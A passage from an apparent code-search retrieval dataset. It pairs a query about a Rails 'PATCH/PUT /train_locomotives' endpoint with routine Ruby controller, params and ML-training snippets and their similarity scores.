"def train\n\n funny_joke_votes = Vote.all( :fields => [:joke_id], :username => @username, :percent.gt => 50 )\n unfunny_joke_votes = Vote.all( :fields => [:joke_id], :username => @username, :percent.lt => 50 )\n funny_joke_ids = []\n unfunny_joke_ids = []\n\n funny_joke_votes.each { |j| funny_joke_ids << j.joke_id.to_i }\n unfunny_joke_votes.each { |j| unfunny_joke_ids << j.joke_id.to_i }\n\n funny = []\n unfunny = []\n\n funny_joke_ids.each do |jid|\n funny << Joke.all( :id => jid )\n end\n\n unfunny_joke_ids.each do |jid|\n unfunny << Joke.all( :id => jid )\n end\n\n\n funny.flatten!\n unfunny.flatten! \n\n b = Classifier::Bayes.new 'funny', 'unfunny'\n\n @log.message :info, \"Training funny jokes (amount: #{funny.length.to_s})\"\n funny.each do |joke|\n content = joke.title.to_s + joke.content.to_s\n b.train_funny content\n end\n\n @log.message :info, \"Training unfunny jokes (amount: #{unfunny.length.to_s})\"\n unfunny.each do |joke|\n content = joke.title.to_s + joke.content.to_s\n b.train_unfunny content\n end\n\n result = []\n \n Joke.all.each do |joke|\n content = joke.title.to_s + joke.content.to_s\n type = b.classify content\n\n if( type.downcase == \"funny\" )\n result << joke \n end\n end\n \n result\n end",
"def training_params\n params.fetch(:training, {})\n end",
"def training_params\n params.fetch(:training, {})\n end",
"def create\n p'*'*800\n p params\n\n @trainer = Trainer.new(trainer_params)\n\n p @trainer\n\n if @trainer.save\n render json: @trainer, status: :created, location: @trainer\n else\n render json: @trainer.errors, status: :unprocessable_entity\n end\n end",
"def create\n @lk = Lk.new(lk_params)\n\n respond_to do |format|\n if @lk.save\n format.html { redirect_to @lk, notice: 'Lk was successfully created.' }\n format.json { render :show, status: :created, location: @lk }\n else\n format.html { render :new }\n format.json { render json: @lk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @weight_trainning = WeightTrainning.new(weight_trainning_params)\n\n respond_to do |format|\n if @weight_trainning.save\n format.html { redirect_to @weight_trainning, notice: 'Weight trainning was successfully created.' }\n format.json { render action: 'show', status: :created, location: @weight_trainning }\n else\n format.html { render action: 'new' }\n format.json { render json: @weight_trainning.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slowlogext = Slowlogext.new(slowlogext_params)\n\n respond_to do |format|\n if @slowlogext.save\n format.html { redirect_to @slowlogext, notice: 'Slowlogext was successfully created.' }\n format.json { render :show, status: :created, location: @slowlogext }\n else\n format.html { render :new }\n format.json { render json: @slowlogext.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_scenario1\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal width\" => 0.5}, '000004', 'Iris-setosa']]\n\n puts \n puts \"Scenario: Successfully creating a prediction using a public model\"\n\n data.each do |filename, data_input, objective, prediction_result|\n puts \n puts \"Given I create a data source uploading a %s file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n \n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create dataset with local source\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"And I create model\" \n model=@api.create_model(dataset)\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true)\n\n puts \"And I make the model public\"\n model = @api.update_model(model, {'private'=> false, 'white_box' => true})\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_ACCEPTED, model[\"code\"])\n assert_equal(@api.ok(model), true)\n\n puts \"And I check the model status using the model's public url\"\n model = @api.get_model(\"public/%s\" % model[\"resource\"])\n assert_equal(BigML::FINISHED, model[\"object\"][\"status\"][\"code\"]) \n\n puts \"When I create a prediction for <%s>\" % JSON.generate(data_input)\n prediction = @api.create_prediction(model, data_input)\n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n\n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n assert_equal(prediction_result, prediction[\"object\"][\"prediction\"][objective])\n\n puts \"And I make the model private again\"\n model = @api.update_model(model, {'private'=> true, 'white_box' => true})\n assert_equal(BigML::HTTP_ACCEPTED, model[\"code\"])\n \n end\n\n end",
"def create\n @training = Training.new(params[:training])\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Training was successfully created.' }\n format.json { render json: @training, status: :created, location: @training }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lensa = Lensa.new(lensa_params)\n\n respond_to do |format|\n if @lensa.save\n format.html { redirect_to @lensa, notice: 'Lensa was successfully created.' }\n format.json { render :show, status: :created, location: @lensa }\n else\n format.html { render :new }\n format.json { render json: @lensa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def train_one_classifier(dataset)\n model = LogisticRegressionModelL2.new(0.000)\n lr = 1\n w = Hash.new {|h,k| h[k] = (rand * 0.1) - 0.05}\n sgd = StochasticGradientDescent.new(model, w, lr)\n sgd, iter, losses = train(sgd, model, w, dataset, num_epoch = 18, batch_size = 20)\n df = Daru::DataFrame.new({x: iter, y: losses})\n df.plot(type: :line, x: :x, y: :y) do |plot, diagram|\n plot.x_label \"Batches\"\n plot.y_label \"Cumulative Loss\"\n end.export_html\n return sgd\nend",
"def create\n @training = Training.new(training_params)\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Training was successfully created.' }\n format.json { render :show, status: :created, location: @training }\n else\n format.html { render :new }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training = Training.new(training_params)\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Training was successfully created.' }\n format.json { render :show, status: :created, location: @training }\n else\n format.html { render :new }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training = Training.new(training_params)\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Training was successfully created.' }\n format.json { render :show, status: :created, location: @training }\n else\n format.html { render :new }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training = training_class.new(params[training_param])\n @training.user = current_user\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Debate training was successfully created.' }\n format.json { render json: @training, status: :created, location: @training }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @livro = Livro.new(livro_params)\n\n respond_to do |format|\n if @livro.save\n format.html { redirect_to @livro, notice: t('.new', default: t('helpers.messages.new')) }\n format.json { render :show, status: :created, location: @livro }\n else\n format.html { render :new }\n format.json { render json: @livro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def training_execution_params\n params.require(:training_execution).permit(:category, :topic, :objective, :date, :hourly_intensity, :trainer, :internal, :area_id, :collaborator_id, :company_id, :training_id, :planned)\n end",
"def create\n @litter = Litter.new(params[:litter])\n @pig = Pig.find(@litter.sow_id)\n @no_of_piglets = params[:no_of_piglets].to_i\n \n @no_of_piglets.times do\n Pig.create(name: @pig.name + ' piglet', status: alive_id, dob: Time.now, litter: @litter)\n end\n\n respond_to do |format|\n if @litter.save\n format.html { redirect_to @litter, notice: 'Litter was successfully created with ' + @no_of_piglets.to_s + ' piglets' }\n format.json { render json: @litter, status: :created, location: @litter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @litter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n training.attributes = training_params\n\n respond_to do |format|\n if training.save\n format.html { redirect_to student_url(training.student_id), notice: \"Training was successfully created.\" }\n format.json { render :show, status: :created, location: training }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @training_level = TrainingLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_level }\n end\n end",
"def create\n @loja = Loja.new(params[:loja])\n\n respond_to do |format|\n if @loja.save\n format.html { redirect_to @loja, notice: 'Loja criada com sucesso' }\n format.json { render json: @loja, status: :created, location: @loja }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loja.errors, status: :unprocessable_entity }\n end\n end\n end",
"def novel_params\n params.require(:novel).permit(:title, :description, build: [], templatedata: [])\n end",
"def create\n @training = @runner.trainings.new(training_params)\n @training.time = set_time(training_params) #calculate the total amount of seconds with hours, minutes and seconds\n respond_to do |format|\n if @training.save\n if @training.shoe\n @training.shoe.add_kms(@training.kms)\n end\n format.html { redirect_to runner_trainings_path, notice: '¡Entrenamiento creado!' }\n format.json { render action: 'show', status: :created, location: @training } #Esto hay que cambiarlo creo\n else\n format.html { render action: 'new' }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n #format.js #Para el formulario de Nuevo Entrenamiento en el Show de Runner\n end\n end",
"def create\n @litigante = Litigante.new(litigante_params)\n\n respond_to do |format|\n if @litigante.save\n format.html { redirect_to @litigante, notice: 'Litigante was successfully created.' }\n format.json { render :show, status: :created, location: @litigante }\n else\n format.html { render :new }\n format.json { render json: @litigante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def loveyotube_params\n params.require(:loveyotube).permit(:loveword)\n end",
"def create\n @lei = Lei.new(params[:lei])\n\n respond_to do |format|\n if @lei.save\n format.html { redirect_to @lei, notice: 'Lei was successfully created.' }\n format.json { render json: @lei, status: :created, location: @lei }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lei.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @laptop = Laptop.new(laptop_params)\n\n respond_to do |format|\n if @laptop.save\n format.html { redirect_to laptops_path, notice: 'Laptop was successfully created.' }\n format.json { render action: 'show', status: :created, location: @laptop }\n else\n format.html { render action: 'new' }\n format.json { render json: @laptop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @linear_model = LinearModel.new(linear_model_params)\n\n respond_to do |format|\n if @linear_model.save\n format.html { redirect_to @linear_model, notice: 'Linear model was successfully created.' }\n format.json { render action: 'show', status: :created, location: @linear_model }\n else\n format.html { render action: 'new' }\n format.json { render json: @linear_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:predictions].each do |prediction|\n @prediction = current_user.predictions.new(prediction)\n if @prediction.valid?\n @prediction.save\n end\n end\n redirect_to root_path\n end",
"def add_train(train)\n @trains << train\n end",
"def index\n @lovs = Lov.all\n end",
"def create\n @barangay_training = BarangayTraining.new(barangay_training_params)\n\n respond_to do |format|\n if @barangay_training.save\n format.html { redirect_to @barangay_training, notice: 'Barangay training was successfully created.' }\n format.json { render action: 'show', status: :created, location: @barangay_training }\n else\n format.html { render action: 'new' }\n format.json { render json: @barangay_training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objective = Objective.new(objective_params)\n\n respond_to do |format|\n if @objective.save\n format.html { redirect_to objectives_path }\n format.json { render :show, status: :created, location: @objective }\n else\n format.html { render :new }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @Love = Love.new(params[:Love])\n\n respond_to do |format|\n if @Love.save\n format.html { redirect_to @Love, :notice => 'Love was successfully created.' }\n format.json { render :json => @Love, :status => :created, :location => @Love }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @Love.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @classifier = Classifier.new(classifier_params)\n\n respond_to do |format|\n if @classifier.save\n format.html { redirect_to @classifier, notice: 'Classifier was successfully created.' }\n format.json { render :show, status: :created, location: @classifier }\n else\n format.html { render :new }\n format.json { render json: @classifier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lounges = Lounge.new(params[:lounge])\n if @lounges.save\n CustomLogger.debug(\"Lounge created\")\n CustomLogger.debug(\"--------------\") \n to_log(@lounges) \n @lounges = Lounge.new\n end\n @all_lounges = Lounge.all \n end",
"def test_scenario8\n \n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 5}, \"000004\", 'Iris-versicolor', {}, \"probability\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2}, \"000004\", 'Iris-setosa', {}, \"probability\" ]\n ]\n puts\n puts \"Scenario: Successfully comparing predictions for logistic regressions with operating kind\"\n\n data.each do |filename, data_input, objective, prediction_result, params, operating_point|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a logistic regression with objective\" \n logisticregression=@api.create_logisticregression(dataset)\n\n puts \"And I wait until the logistic regression is ready\"\n assert_equal(BigML::HTTP_CREATED, logisticregression[\"code\"])\n assert_equal(1, logisticregression[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(logisticregression), true)\n \n puts \"And I create a local logistic regression\"\n localLogisticRegression = BigML::Logistic.new(logisticregression)\n\n puts \"When I create a prediction for <%s>\" % [JSON.generate(data_input)]\n prediction = @api.create_prediction(logisticregression['resource'], data_input, {\"operating_kind\" => operating_point})\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n\n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end\n \n puts \"And I create a local prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = localLogisticRegression.predict(data_input, {\"operating_kind\" => operating_point})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n\n assert_equal(local_prediction, prediction_result)\n \n end\n \n end"
] |
[
"0.73694175",
"0.6655743",
"0.6409231",
"0.6277444",
"0.5920519",
"0.58733624",
"0.5848118",
"0.5694255",
"0.5684281",
"0.56644297",
"0.56611776",
"0.5643515",
"0.56361026",
"0.5604862",
"0.5596765",
"0.5580859",
"0.55543876",
"0.5537083",
"0.5474386",
"0.54426485",
"0.5440483",
"0.54065835",
"0.5404679",
"0.54030985",
"0.54014325",
"0.5390653",
"0.53883076",
"0.53882915",
"0.5387883",
"0.5382317",
"0.53757805",
"0.5374032",
"0.5358082",
"0.53471756",
"0.53391105",
"0.53232425",
"0.53101736",
"0.5295464",
"0.52951115",
"0.5289179",
"0.5283797",
"0.5256904",
"0.5251053",
"0.5243049",
"0.5242932",
"0.5242462",
"0.5240219",
"0.5239472",
"0.5230805",
"0.5228808",
"0.5226789",
"0.52239347",
"0.52189857",
"0.5217638",
"0.52112865",
"0.5199119",
"0.5193698",
"0.5190688",
"0.517466",
"0.51646346",
"0.51608264",
"0.51558757",
"0.5151843",
"0.5149545",
"0.51421946",
"0.51421946",
"0.51410633",
"0.51395774",
"0.5135483",
"0.5124031",
"0.51226807",
"0.5122124",
"0.5120732",
"0.51181084",
"0.51178294",
"0.51178294",
"0.51178294",
"0.5108199",
"0.51043475",
"0.51011455",
"0.5099477",
"0.50976175",
"0.5095614",
"0.5095522",
"0.5090481",
"0.5088035",
"0.5087792",
"0.5085257",
"0.50842136",
"0.50834066",
"0.5081387",
"0.50792587",
"0.507507",
"0.5073731",
"0.50736314",
"0.50725144",
"0.50676155",
"0.5063412",
"0.5060892",
"0.5059153"
] |
0.7266716
|
1
|
PATCH/PUT /train_locomotives/1 PATCH/PUT /train_locomotives/1.json
|
def update
respond_to do |format|
if @train_locomotive.update(train_locomotive_params)
format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_train_locomotive\n @train_locomotive = TrainLocomotive.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @train.update(train_params)\n format.html { redirect_to @train, notice: 'Train was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @train.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trainmodel.update(trainmodel_params)\n format.html { redirect_to @trainmodel, notice: 'Trainmodel was successfully updated.' }\n format.json { render :show, status: :ok, location: @trainmodel }\n else\n format.html { render :edit }\n format.json { render json: @trainmodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def train_locomotive_params\n params.require(:train_locomotive).permit(:operator_id, :locomotive_class_name, :locomotive_class_number, :make_id, :locomotive_type_id, :box_number, :owner_id, :price, :decoder_id, :decoder_address, :picture, :delete_image)\n end",
"def update\n respond_to do |format|\n if @spltrain.update(spltrain_params)\n format.html { redirect_to @spltrain, notice: 'Spltrain was successfully updated.' }\n format.json { render :show, status: :ok, location: @spltrain }\n else\n format.html { render :edit }\n format.json { render json: @spltrain.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @lifeline.update(lifeline_params)\n format.html { redirect_to @lifeline, notice: 'Lifeline was successfully updated.' }\n format.json { render :show, status: :ok, location: @lifeline }\n else\n format.html { render :edit }\n format.json { render json: @lifeline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lable.update(lable_params)\n format.html { redirect_to @lable, notice: 'Lable was successfully updated.' }\n format.json { render :show, status: :ok, location: @lable }\n else\n format.html { render :edit }\n format.json { render json: @lable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n\n respond_to do |format|\n if @lsa_training_unique_word.update_attributes(params[:lsa_training_unique_word])\n format.html { redirect_to @lsa_training_unique_word, notice: 'Lsa training unique word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lsa_training_unique_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:load_test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trainrun.update(trainrun_params)\n format.html { redirect_to @trainrun, notice: 'Trainrun was successfully updated.' }\n format.json { render :show, status: :ok, location: @trainrun }\n else\n format.html { render :edit }\n format.json { render json: @trainrun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @labelling = Labelling.find(params[:id])\n\n respond_to do |format|\n if @labelling.update_attributes(params[:labelling])\n format.html { redirect_to @labelling, notice: 'Labelling was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @labelling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trainclass.update(trainclass_params)\n format.html { redirect_to @trainclass, notice: 'Trainclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @trainclass }\n else\n format.html { render :edit }\n format.json { render json: @trainclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loo.update(loo_params)\n format.html { redirect_to @loo, notice: 'Loo was successfully updated.' }\n format.json { render :show, status: :ok, location: @loo }\n else\n format.html { render :edit }\n format.json { render json: @loo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trainbot.update(trainbot_params)\n format.html { redirect_to @trainbot, notice: 'Trainbot was successfully updated.' }\n format.json { render :show, status: :ok, location: @trainbot }\n else\n format.html { render :edit }\n format.json { render json: @trainbot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #set_time\n #tiempoActual = @training.time\n zapatillaAnterior = @training.shoe\n if zapatillaAnterior\n logger.info(\"Zapatilla Anterior!!!!!!!!!!!!\")\n logger.info(zapatillaAnterior.nombre)\n end\n kmsAnterior = @training.kms\n @training.time = set_time(training_params)\n respond_to do |format|\n if @training.update(training_params)\n logger.info(\"Zapatilla Nueva!!!!!!!!!!!!\")\n zapatillaNueva = @training.shoe\n logger.info(zapatillaNueva.nombre)\n zapatillaNueva.add_kms(@training.kms) #Sumo los kms a la nueva zapatilla y salvo\n logger.info(\"Kilometros SUMADOS!!!!!!\")\n if zapatillaAnterior\n zapatillaAnterior.subtract_kms(kmsAnterior) #Resto los kms del entreno anterior y salvo\n logger.info(\"Kilometros RESTADOS!!!!!!\")\n end\n format.html { redirect_to runner_trainings_path, notice: 'Entreno actualizado!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lotto.update(lotto_params)\n format.html { redirect_to @lotto, notice: 'Lotto was successfully updated.' }\n format.json { render :show, status: :ok, location: @lotto }\n else\n format.html { render :edit }\n format.json { render json: @lotto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @train_datum.update(train_datum_params)\n format.html { redirect_to @train_datum, notice: 'Train datum was successfully updated.' }\n format.json { render :show, status: :ok, location: @train_datum }\n else\n format.html { render :edit }\n format.json { render json: @train_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @lov.update(lov_params)\n format.html { redirect_to @lov, notice: 'Lov was successfully updated.' }\n format.json { render :show, status: :ok, location: @lov }\n else\n format.html { render :edit }\n format.json { render json: @lov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @train_route.update(train_route_params)\n format.html { redirect_to @train_route, notice: 'TrainRoute was successfully updated.' }\n format.json { render :show, status: :ok, location: @train_route }\n else\n format.html { render :edit }\n format.json { render json: @train_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @base_model_id = args[:base_model_id] if args.key?(:base_model_id)\n @budget_milli_node_hours = args[:budget_milli_node_hours] if args.key?(:budget_milli_node_hours)\n @disable_early_stopping = args[:disable_early_stopping] if args.key?(:disable_early_stopping)\n @model_type = args[:model_type] if args.key?(:model_type)\n @multi_label = args[:multi_label] if args.key?(:multi_label)\n @tunable_parameter = args[:tunable_parameter] if args.key?(:tunable_parameter)\n @uptrain_base_model_id = args[:uptrain_base_model_id] if args.key?(:uptrain_base_model_id)\n end",
"def update\n @lens = Lens.find(params[:id])\n attrb = select_params(lens_params)\n # linear_data is an array of Objects of Components Properties\n # that needs to be deserialized correctly\n attrb[\"linear_data\"] = JSON.parse(attrb[\"linear_data\"])\n lens = Lens.update(attrb)\n \n # @lens.update(lens_params)\n # render inline: \"<%= @lens.id %>\"\n end",
"def update\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n if @livro.update_attributes(params[:livro])\n format.html { redirect_to @livro, :notice => 'Livro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @livro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @lifepointe.update(lifepointe_params)\n format.html { redirect_to @lifepointe, notice: 'Lifepointe was successfully updated.' }\n format.json { render :show, status: :ok, location: @lifepointe }\n else\n format.html { render :edit }\n format.json { render json: @lifepointe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loph.update(loph_params)\n format.html { redirect_to @loph, notice: 'Loph was successfully updated.' }\n format.json { render :show, status: :ok, location: @loph }\n else\n format.html { render :edit }\n format.json { render json: @loph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @training = trainings.find(params[:id])\n\n respond_to do |format|\n if @training.update_attributes(params[training_param])\n format.html { redirect_to @training, notice: 'Training was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t\t#get the train from the DB\n\t\t\t@train = Train.find(params[:id])\n\t\t\t#update the train with params from browser\n\t\t\tif @train.update(train_params)\n\t\t\t\tredirect_to trains_url\n\t\t\telse\n\t\t\t\trender :edit\n\t\t\tend\n\t\tend",
"def update\n @lab = lab.find(params[:id])\n\n respond_to do |format|\n if @lab.update_attributes(params[:lab])\n format.html { redirect_to @lab, notice: 'lab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @train_locomotive = TrainLocomotive.new(train_locomotive_params)\n\n respond_to do |format|\n if @train_locomotive.save\n format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully created.' }\n format.json { render action: 'show', status: :created, location: @train_locomotive }\n else\n format.html { render action: 'new' }\n format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_train\n @train = Train.find(params[:id])\n end",
"def update\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n if @clonet.update_attributes(params[:clonet])\n format.html { redirect_to @clonet, notice: 'Clonet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lot = Lot.find(params[:id])\n\n respond_to do |format|\n if @lot.update_attributes(params[:lot])\n format.html { redirect_to myadmin_lots_path, :notice => 'Lot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @lot.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @training = Training.find(params[:id])\n\n respond_to do |format|\n if @training.update_attributes(params[:training])\n format.html { redirect_to @training, notice: 'Training was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @budget_milli_node_hours = args[:budget_milli_node_hours] if args.key?(:budget_milli_node_hours)\n @disable_early_stopping = args[:disable_early_stopping] if args.key?(:disable_early_stopping)\n @model_type = args[:model_type] if args.key?(:model_type)\n @tunable_parameter = args[:tunable_parameter] if args.key?(:tunable_parameter)\n @uptrain_base_model_id = args[:uptrain_base_model_id] if args.key?(:uptrain_base_model_id)\n end",
"def update!(**args)\n @active_learning_config = args[:active_learning_config] if args.key?(:active_learning_config)\n @annotation_labels = args[:annotation_labels] if args.key?(:annotation_labels)\n @create_time = args[:create_time] if args.key?(:create_time)\n @current_spend = args[:current_spend] if args.key?(:current_spend)\n @datasets = args[:datasets] if args.key?(:datasets)\n @display_name = args[:display_name] if args.key?(:display_name)\n @encryption_spec = args[:encryption_spec] if args.key?(:encryption_spec)\n @error = args[:error] if args.key?(:error)\n @inputs = args[:inputs] if args.key?(:inputs)\n @inputs_schema_uri = args[:inputs_schema_uri] if args.key?(:inputs_schema_uri)\n @instruction_uri = args[:instruction_uri] if args.key?(:instruction_uri)\n @labeler_count = args[:labeler_count] if args.key?(:labeler_count)\n @labeling_progress = args[:labeling_progress] if args.key?(:labeling_progress)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @specialist_pools = args[:specialist_pools] if args.key?(:specialist_pools)\n @state = args[:state] if args.key?(:state)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update\n respond_to do |format|\n if @process_training.update(process_training_params)\n format.html { redirect_to @process_training, notice: 'Process training was successfully updated.' }\n format.json { render :show, status: :ok, location: @process_training }\n else\n format.html { render :edit }\n format.json { render json: @process_training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @required_features = args[:required_features] if args.key?(:required_features)\n end",
"def update\n respond_to do |format|\n if @training_method.update(training_method_params)\n format.html { redirect_to training_methods_path, notice: 'Training method was successfully updated.' }\n format.json { render :show, status: :ok, location: @training_method }\n else\n format.html { render :edit }\n format.json { render json: @training_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n if @heli_kit.update_attributes(params[:heli_kit])\n format.html { redirect_to @heli_kit, notice: 'Heli kit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heli_kit.errors, status: :unprocessable_entity }\n end\n end\n end",
